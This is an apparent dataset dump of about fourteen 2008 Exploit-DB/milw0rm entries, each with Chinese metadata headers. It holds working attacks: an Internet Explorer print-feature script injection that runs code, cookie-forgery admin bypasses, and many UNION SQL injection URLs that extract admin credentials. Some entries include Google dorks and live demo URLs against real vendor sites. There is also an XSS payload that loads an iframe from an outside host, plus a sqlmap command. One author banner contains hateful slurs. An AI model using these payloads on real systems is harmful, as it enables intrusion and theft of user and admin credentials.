QLWD/code_shield huggingface dataset:
标题: Microsoft Internet Explorer - Print Table of Links Cross-Zone Scripting EDB-ID: 5619 CVE: 2008-2281 类型: REMOTE 平台: WINDOWS 发布日期: 2008-05-14 漏洞利用脚本: <!--
Internet Explorer "Print Table of Links" Cross-Zone Scripting Vulnerability

Author: Aviv Raff 
http://aviv.raffon.net/

Summary

Internet Explorer is prone to a Cross-Zone Scripting vulnerability in 
its â€œPrint Table of Linksâ€ feature. This feature allows users to add to 
a printed web page an appendix which contains a table of all the links 
in that webpage. 

An attacker can easily add a specially crafted link to a webpage (e.g. 
at his own website, comments in blogs, social networks, Wikipedia, 
etc.), so whenever a user will print this webpage with this feature 
enabled, the attacker will be able to run arbitrary code on the userâ€™s 
machine (i.e. in order to take control over the machine). 

Affected version

Internet Explorer 7.0 and 8.0b on a fully patched Windows XP.
Windows Vista with UAC enabled is partially affected (Information Leakage only).
Earlier versions of Internet Explorer may also be affected.

Technical details

Whenever a user prints a page, Internet Explorer uses a local resource 
script which generates an new HTML to be printed. This HTML consists of 
the following elements: Header, webpage body, Footer, and if enabled, 
also the table of links in the webpage. 

While the script takes only the text within the linkâ€™s inner data, it 
does not validate the URL of links, and add it to the HTML as it is. 
This allows to inject a script that will be executed when the new HTML 
will be generated. 

As I said in a previous post, most of the local resources in Internet 
Explorer are now running in Internet Zone. Unfortunately, the printing 
local resource script is running in Local Machine Zone, which means that 
any injected script can execute arbitrary code on the userâ€™s machine. 

Proof of Concept

The following is an example of a URL which executes Windows Calculator:

http://www.google.com/?q=<script defer>new ActiveXObject(â€œWscript.Shellâ€).run(â€œcalcâ€)</script>
-->

<html>
<body>
Print me with table of links to execute calc.exe
<a href="http://www.bla.com?x=b<script defer >var x=new ActiveXObject('WScript.Shell');x.Run('calc.exe');</script>a.c<u>o</u>m"></a>
<script>window.print();</script>
</body>
</html>

# milw0rm.com [2008-05-14] URL: https://www.exploit-db.com/exploits/5619
标题: AS-GasTracker 1.0.0 - Insecure Cookie Handling EDB-ID: 5615 CVE: 2008-2269 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-14 漏洞利用脚本: --==+================================================================================+==--
--==+          AS-GasTracker 1.0.0 Insecure Cookie Handling Vulnerability      +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz
Discovered On: 14 MAY 2008
Script Download: N/A
DORK: N/A



Vendor Has Not Been Notified!



DESCRIPTION: 

AS-GasTracker 1.0.0 suffers from Insecure Cookie Handling, when a admin cookie is created its set to "TRUE"
if user is admin and "FALSE" if it isnt. so all we need to do is create a cookie that resembles the one
AS-GasTracker uses. the cookie name being "gastracker_admin".

the javascript code below will create a cookie on the domain its ran on, so simply type the javascript below
into Firefox/Netscape, then visit /admin/



Vulnerability:

javascript:document.cookie = "gastracker_admin=TRUE; path=/";



NOTE/TIP: 

after running the javascript code in your browser on the vulnerable domain, browse to /admin/ and you will have
access.



GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !



peace, t0pP8uZz



--==+================================================================================+==--
--==+          AS-GasTracker 1.0.0 Insecure Cookie Handling Vulnerability      +==--
--==+================================================================================+==--

# milw0rm.com [2008-05-14] URL: https://www.exploit-db.com/exploits/5615
标题: Freelance Auction Script 1.0 - 'browseproject.php' SQL Injection EDB-ID: 5613 CVE: 2008-2279 2008-2278 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-14 漏洞利用脚本: --==+================================================================================+==--
--==+  Freelance Auction Script 1.0 (browseproject.php) SQL Injection Vulnerability  +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz
Discovered On: 14 MAY 2008
Script Download: http://freelanceauction.eu
DORK: N/A



Vendor Has Not Been Notified!



DESCRIPTION: 

Freelance Auction Script (all versions to date) suffers from a insecure mysql query, this allows the 
remote attacker to arbitrary execute mysql code/query's.

the below MySQL Injection will display the admin login details.


SQL Injection:

http://site.com/browseproject.php?mode=pdetails&pid=-1/**/UNION/**/ALL/**/SELECT/**/1,CONCAT(username,char(58),password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19/**/FROM/**/tbl_administrator/*



NOTE/TIP: 

passwords are in plaintext.
users table "tbl_users"
admin login is at /admin/


GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !



peace, t0pP8uZz



--==+================================================================================+==--
--==+  Freelance Auction Script 1.0 (browseproject.php) SQL Injection Vulnerability  +==--
--==+================================================================================+==--

# milw0rm.com [2008-05-14] URL: https://www.exploit-db.com/exploits/5613
标题: EMO Realty Manager - 'ida' SQL Injection EDB-ID: 5609 CVE: 2008-2265 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-13 漏洞利用脚本: ##########################################################
#                    Remote SQL Injection Vulnerabilities                                             #
#                           EMO Realty Manager                                                          #
##########################################################
 
 
## Author : HaCkeR_EgY
 
## C0NTACT : hacker_egy@hotmail.com
 
 
## H^OME : www.PAL-HaCkeR.com   &  ATSDP.COM
 
 
## Script Name : EMO Realty Manager
 
 
## Download : http://www.emophp.com/
 
 
## Price : Manager Full License CAD $399   /// Manager Base License CAD $299=======>  Buy iT : http://www.emophp.com/purchase.php
 
 
###########################################################################
###########################################################################
 
## D0rk : mmmm...... U have 2 dork  ...Let's say use your Mind again  D:
 
 
## ExPlo!T :
 
=====>> http://target.com/path/pages/news.php?ida=-1/**/union/**/select/**/1,2,concat_ws(0x3a3a,id,member_name,member_password),4/**/from/**/members/*
## L!ve Dem0 :
 
 
======>>http://sellrentcanada.com/aaa/pages/news.php?ida=-1/**/union/**/select/**/1,2,concat_ws(0x3a3a,id,member_name,member_password),4/**/from/**/members/*
 
-----N0TE----  Admin INFO  have (id) number 1
 
 
################################################################################

[<>] Thanx : MY Brotha and MY Master " Abo Mohamed "
 
[<>] Greetz : Mr.SQL , Mohamed el Arab ,F!resell, DaRk MaStEr , H-T Team , Stack-Terrorist
 
#################################################################################

# milw0rm.com [2008-05-13] URL: https://www.exploit-db.com/exploits/5609
标题: Feedback and Rating Script 1.0 - 'detail.php' SQL Injection EDB-ID: 5614 CVE: 2008-2277 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-14 漏洞利用脚本: --==+================================================================================+==--
--==+ Feedback and Rating Script 1.0 (detail.php) Remote SQL Injection Vulnerability +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz
Discovered On: 14 MAY 2008
Script Download: http://cmsnx.com/product.demo.php?id=16
DORK: N/A



Vendor Has Not Been Notified!



DESCRIPTION: 

Feedback and Rating Script suffers from a insecure mysql query, this allows the remote attacker to
inject mysql code/querys into the script, the below injection will display admin username and password.




SQL Injection:

http://site.com/detail.php?listingid=-1/**/UNION/**/ALL/**/SELECT/**/1,CONCAT(0x757365726E616D653A20,username,0x70617373776F72643A,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/FROM/**/auto_admin_settings_tb/**/LIMIT 0,1/*



NOTE/TIP: 

admin login is at /admin/
passwords are in plaintext




GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !



peace, t0pP8uZz



--==+================================================================================+==--
--==+ Feedback and Rating Script 1.0 (detail.php) Remote SQL Injection Vulnerability +==--
--==+================================================================================+==--

# milw0rm.com [2008-05-14] URL: https://www.exploit-db.com/exploits/5614
标题: e-107 Plugin ZoGo-Shop 1.16 Beta 13 - SQL Injection EDB-ID: 5605 CVE: 2008-2447 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-13 漏洞利用脚本: By Cr@zy_King / t4cs1zkr4L

crazy_kinq@hotmail.co.uk / K0Lp4Lara dikkat : )

Zogo-shop 1.16 Beta 13 & e-107 Zozo-shop Plugins remote Sql Ä°nj.

Down : http://www.mytipper.com/download.php?view.19

Sql : http://localhost/products.php?cat=-1+union+select+database(),version(),3,4,5,6,user()/*

Greatz : KnockOut / Dr.Hack3r / Crackers_Child / Rm-x / Tr_ip / DreamTurk / Eno7 / Sabot4qe

Online CGI/Perl Dersleri : http://www.coderx.org/Default.aspx?g=posts&t=89 / kaÃ§Ä±rmayÄ±n.

-----------------------Her ayrÄ±LÄ±k bir vurgun degmeyin ya$LarÄ±ma-----------------------

for exmp :

http://www.xxx.com/e107_plugins/zogo-shop/products.php?cat=-1+union+select+database(),version(),3,4,5,6,user()/* 

# milw0rm.com [2008-05-13] URL: https://www.exploit-db.com/exploits/5605
标题: The Real Estate Script - 'docID' SQL Injection EDB-ID: 5610 CVE: 2008-2443 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-13 漏洞利用脚本: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
########## Remote SQL Injection Vulnerability  ##############
                     Therealestatescript    [ dpage.php ]
#################################################                             
 
[$] Author : HaCkeR_EgY
 
[$] c0nTaCT : hacker_egy@hotmail.com
 
[$] DownlOad : www.therealestatescript.com
 
[$] Price :  The Real Estate Script is on sale for $99.95 $59.95 until June 1st.
====================================================
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[$] Dork :    inurl:dpage.php?docID
 
[$] ExPLo!T : http://www.example.com/dpage.php?docID=-1+union+select+1,2,concat_ws(0x3a3a,Username,Password)+from+admin
 
[$] L!ve Demo : http://www.therealestatescript.com/demo/dpage.php?docID=-1+union+select+1,2,concat_ws(0x3a3a,Username,Password)+from+admin
 
--Note-- : Enjoy !!! .............  (:
 
====================================================
 
[$] Thanx : MY Brotha and MY Master " Abo Mohamed "
 
[$] Greetz : F!resell , Mohamed el Arab ,Mr.SQL , DaRk MaStEr , H-T Team ,Gold_M , Stack-Terrorist , Jiki Team

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~                                        

# milw0rm.com [2008-05-13] URL: https://www.exploit-db.com/exploits/5610
标题: CaLogic Calendars 1.2.2 - 'langsel' SQL Injection EDB-ID: 5607 CVE: 2008-2444 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-13 漏洞利用脚本: /---------------------------------------------------------------\
\                                    /
/       CaLogic Calendars V1.2.2  Remote SQL injection          \
\                                    /
\---------------------------------------------------------------/


[*] Author    : His0k4 [ALGERIAN HaCkEr]

[*] Dork      : "CaLogic Calendars V1.2.2"

[*] POC        : http://localhost/[SCRIPT_PATH]/userreg.php?langsel={SQL}

[*] Example    : http://localhost/[SCRIPT_PATH]/userreg.php?langsel=1 and 1=0 UNION SELECT concat(uname,0x3a,pw) FROM clc_user_reg where uid=CHAR(49)--

[*] Note       : You can see the results (user name & password) in "SQL String" line for example {SQL String: select * from clc_lang_admin:21232f297a57a5a743894a0e4a801fc3 where keyid='urth'}
                
----------------------------------------------------------------------------
[*] Greetings : Str0ke, all friends & muslims HaCkeRs...

# milw0rm.com [2008-05-13] URL: https://www.exploit-db.com/exploits/5607
标题: Linkspile - 'cat_id' SQL Injection EDB-ID: 5611 CVE: 2008-2263 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-13 漏洞利用脚本: ##########################################################
#          Remote SQL Injection Vulnerabilities          #
#                 Linkspile  [ link.php ]                #
##########################################################
 
 
## Author : HaCkeR_EgY
 
## C0NTACT : hacker_egy@hotmail.com
 
## H^OME : www.PAL-HaCkeR.com   &  ATSDP.COM
 
## Script Name : Linkspile
 
## Download : http://www.linkspile.com
 
## Price :  $399.00  =======>  Buy iT : http://www.cmsnx.com/psf/order.php?id=10
###########################################################################
###########################################################################
 
## D0rk : Powered By linkspile
 
 
## ExPlo!T :
 
=====>> http://www.example.com/link.php?cat_id=-1/**/union/**/select/**/1,2,3,4,5,6,concat(fname,0x3a,0x3a,0x3a,password,0x3a,0x3a,0x3a,email),8,9,10,11,12,13,14,15,16,17,18/**/from/**/lp_user_tb/*
 
 
## L!ve Dem0 (Demo has changed the links.php filename):
 
 
======>>http://www.linkspile.com/linking.page.php?cat_id=-1/**/union/**/select/**/1,2,3,4,5,6,concat(fname,0x3a,0x3a,0x3a,password,0x3a,0x3a,0x3a,email),8,9,10,11,12,13,14,15,16,17,18/**/from/**/lp_user_tb/*
 
 
 
 
 
################################################################################

[<>] Thanx : MY Brotha and MY Master " Abo Mohamed "
 
[<>] Greetz : Mr.SQL , Mohamed el Arab ,F!resell, DaRk MaStEr , H-T Team , Stack-Terrorist
 
#################################################################################

# milw0rm.com [2008-05-13] URL: https://www.exploit-db.com/exploits/5611
标题: Web Group Communication Center (WGCC) 1.0.3 - SQL Injection EDB-ID: 5606 CVE: 2008-2446 2008-2445 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-13 漏洞利用脚本: *************************************************
# Title   : Web Group Communication Center [XSS/SQL] Multiple Remote Vulnerabilies
# Author  : myvx
# Date    : 13.05.2008
*************************************************
# Application : Web Group Communication Center
# Version     : <= 1.0.3 PreRelease #1
# Vendor      :    http://wgcc.de/
# Download    : http://wgcc.de/filebase/Geschuetzer_Bereich/wgcc_release_1_0_2.zip
*************************************************
# google dork : "Web Group Communication Center"

Exploit:
XSS:
http://[target]/[path]/profile.php?action=show&userid=%22%3E%3C%69%66%72%61%6D%65%20%73%72%63%3D%68%74%74%70%3A%2F%2F%68%61%2E%63%6B%65%72%73%2E%6F%72%67%2F%73%63%72%69%70%74%6C%65%74%2E%68%74%6D%6C%3C

To bypass the XSS-Filter urlencode your malicious Code.

SQL-INJECTION(you must be logged in):
http://[target]/[path]/profile.php?action=show&saction=moreinfo&userid=-1+UNION+SELECT+1,concat(username,0x3a,password,0x3a,email)+FROM+wgcc_user--
or  http://[target]/[path]/profile.php?action=show&saction=moreinfo&userid=-1+UNION+SELECT+1,concat(username,0x3a,passwort,0x3a,email)+FROM+wgcc_user--

more:
http://[target]/[path]/picturegallery.php?action=shownext&bildid=[SQL-STATEMENT]
http://[target]/[path]/filebase.php?action=freigeben&id=[SQL-STATEMENT]
http://[target]/[path]/schedule.php?action=del&id=[SQL-STATEMENT]
http://[target]/[path]/profile.php?action=observe&saction=del&id=[SQL-STATEMENT]
http://[target]/[path]/message.php?action=delete&pmid=[SQL-STATEMENT]
http://[target]/[path]/message.php?action=showfolder&folderid=[SQL-STATEMENT]

The Vendor has not been contacted yet.

# milw0rm.com [2008-05-13] URL: https://www.exploit-db.com/exploits/5606
标题: Meto Forum 1.1 - Multiple SQL Injections EDB-ID: 5608 CVE: 2008-2448 类型: WEBAPPS 平台: ASP 发布日期: 2008-05-13 漏洞利用脚本: -\--\--\--\--\--\--\--\--\--\--\--\--\--\--\--\--\--\--\--\--\--\
                                                        
Meto Forum v1.1 Multiple Remote SQL Ä°injectin Vulnerable  
                                                              
Script : http://www.aspindir.com/goster/5444               
                                                              
Risk   : Forum in All users saved password is to take.        
                                                              
Coded : Asp , SQL Language = 'Acces'                   
                                                             
-\--\--\--\--\--\--\--\--\--\--\--\--\--\--\--\--\--\--\--\- -\-/


EÄ°P [1] Exploit:


http://localhost:2222/lab/MetoForumV1/forum/kategori.asp?kid=20+union+select+0,kullanici,2,3,4,parola,6+from+uyeler&y=SnnX%20Mesaj%20Panosu%20Test


Log in Admin Panel > cookie Saved , 
This Script file have SQL Ä°njectin atack. 


http://localhost:2222/lab/MetoForumV1/forum/admin_kategori.asp?kid=1+union+select+0,1,parola,3,4,kullanici,6+from+uyeler+where+id=1  2,3,4,5,6


http://localhost:2222/lab/MetoForumV1/forum/admin/duzenle.asp?id=1+union+select+0,kullanici,parola,3,4,5,1+from+uyeler



http://localhost:2222/lab/MetoForumV1/forum/admin_oku.asp?id=1%20union%20select%200,1,2,3,4,5,1,6,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,7,8,9,1,1,1,1%20from%20uyeler



[ESP][2]

Other have sql injection atack file :

uye.asp 
oku.asp

-\--\--\--\--\--\--\--\--\--\--\--\--\--\--\--\--\--\--\--\- -\-



Discovered By U238 |Ugur Can Engin |

Web - Designer Developer Solutions

setuid.noexec0x1[at[hotmail[d0t]com

pgp key --> http://ugurcan.by.ru/U238.asc

Friends --> < Teyfik Cevik - ka0x - The_BekiR - Erhan Bulut - Caborz - Nettoxic - fahn - ZeberuS >

DunyanÄ±n En buyuk Ve En Zeki Lideri Olan  Mustafa Kemal Ataturk'u SelamlarÄ±m. 

# milw0rm.com [2008-05-13] URL: https://www.exploit-db.com/exploits/5608
标题: e107 Plugin BLOG Engine 2.2 - 'rid' Blind SQL Injection EDB-ID: 5604 CVE: 2008-2455 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-13 漏洞利用脚本: [+] Author: Saime
[+] Script: e107 Plugin BLOG Engine v2.2 (rid) Blind SQL Injection
[+] URL: http://e107coders.org/download.php?view.1843
[+] Date: 13/05/2008
[+] Greetz: BaKo,DrWh4x,optiplex,xprog,cam-man-dan,Tulle,t0pP8uZz,Inspiratio,Novalok,illuz1oN,Untamed,GM,str0ke, and everyone else I forgot!
[+] Site: http://h4ck-y0u.org

[+] Vuln File: comment.php
[+] Line: 22-24
$rid = $_GET['rid'];
//blog entry echo
$sql -> db_Query("select ".MPREFIX."macgurublog_rec.*, blog_enable from ".MPREFIX."macgurublog_rec left join ".MPREFIX."macgurublog_main on (".MPREFIX."macgurublog_rec.blogrec_uid=".MPREFIX."macgurublog_main.blog_uid) where blogrec_id=".$rid.";");
[+] Exploit:
http://site.com/e107_plugins/macgurublog_menu/comment.php?rid=1 and 1=1-- // returns no errors
http://site.com/e107_plugins/macgurublog_menu/comment.php?rid=1 and 1=2-- // returns error about unknown entry
http://site.com/e107_plugins/macgurublog_menu/comment.php?rid=1 and substring(@@version,1,1)=4 // check the mysql version. if 4 returns error, try 5.
Since e107 uses diffrent table names it's almost impossible to write exploit for it. So I am suggesting to use sqlmap to use this vulnerabilty.
The command like should look like this:
./sqlmap.py -u "URL" -p rid -a "./txt/user-agents.txt" -v1 --string "string which proofs the query is valid" -e "sql query"
Example:
./sqlmap.py -u "http://site.com/e107_plugins/macgurublog_menu/comment.php?rid=1" -p rid -a "./txt/user-agents.txt" -v1 --string "Saime" -e "<SELECT concat(username,0x3a,password) from e107_users where userid=1 limit 0,1>"
[+] Dork: inurl:/macgurublog_menu/
[+] Notes: Not to Turkish Warrior, good job on leaking CipherCrew exploits and submiting them as your own dumbass! ;)

# milw0rm.com [2008-05-13] URL: https://www.exploit-db.com/exploits/5604
标题: AJ HYIP ACME - 'topic_detail.php' SQL Injection EDB-ID: 5602 CVE: 2008-2532 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-12 漏洞利用脚本: ||          ||   | ||        
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_, 
                  ( :   /    (_)    /           (   .  
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|


<<!>> Found by  :  Cyb3r-1sT

<<!>> C0ntact :  t3tto0 [at] yahoo.com

                 cyb3r-1st [at] hotmail.com

<<!>> Groups : InjEctOr5 T3am 


=======================================================
+++++++++++++ R3membeR Kings of injection ++++++++++++++
=======================================================


<<->> script   : aj-hyip

<<->> download : www.ajhyip.com 


=======================================================
++++++++++++++++ pWning israel fuckers ++++++++++++++++
=======================================================


<<->> D0rk    : find it

<<->> Exploit :>>>>>>>>>

          <!> for admin inf0 ::: 
       >>>>>>>>>>>>>>>>>>>>>>>> www.site.me/patch/forum/topic_detail.php?id=-999999+union+select+0,1,2,concat(username,0x3a,admin_password),4,5,6,7+from+admin/*

        <!> for members inf0 ::: 
       >>>>>>>>>>>>>>>>>>>>>>>> www.site.me/patch/forum/topic_detail.php?id=-999999+union+select+0,1,2,concat(username,0x3a,password),4,5,6,7+from+members/*


=======================================================
+++++++++++++++++++++++ Greetz ++++++++++++++++++++++++
=======================================================


<<->> My best freinds :: titanichacker $ arb-hawk $ denm0 $ drbaka  $ nicehacker 
                          anaconda-ksa $ sirus $ crazy-x  and all freinds

<<->> InjEctOr5 TeaM  

<<->> All muslims

# milw0rm.com [2008-05-12] URL: https://www.exploit-db.com/exploits/5602
标题: EQdkp 1.3.2f - 'user_id' Authentication Bypass EDB-ID: 5603 CVE: 2008-2222 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-13 漏洞利用脚本: <?php
   // EQDKP 1.3.2f Authentication Bypass (PoC)
   // vort.fu@gmail.com
 
   $data['auto_login_id'] = 'x';
   $data['user_id']       = "1' " .
                            "UNION SELECT " .
                               "1, " .         // * user_id
                               "'a', " .       // username
                               "'x', " .       // * user_password
                               "'', " .        // user_email
                               "1, " .         // user_alimit
                               "1, " .         // user_elimit
                               "1, " .         // user_ilimit
                               "1, " .         // user_nlimit
                               "1, " .         // user_rlimit
                               "1, " .         // user_style
                               "'english', " . // user_lang
                               "NULL, " .      // user_key
                               "1, " .         // user_lastvisit
                               "NULL, " .      // user_lastpage
                               "1, " .         // * user_active
                               "NULL, " .      // user_newpassword
                               "NULL " .       // session_current
                            "ORDER BY " .
                               "username ASC" .
                            "/*";
 
   $cookie = serialize($data);
   echo "eqdkp_data\n\n";
 
   for($i = 0; $i < strlen($cookie); $i++)
      echo '%' . bin2hex($cookie[$i]);
 
   echo "\n\n";
?> 

# milw0rm.com [2008-05-13] URL: https://www.exploit-db.com/exploits/5603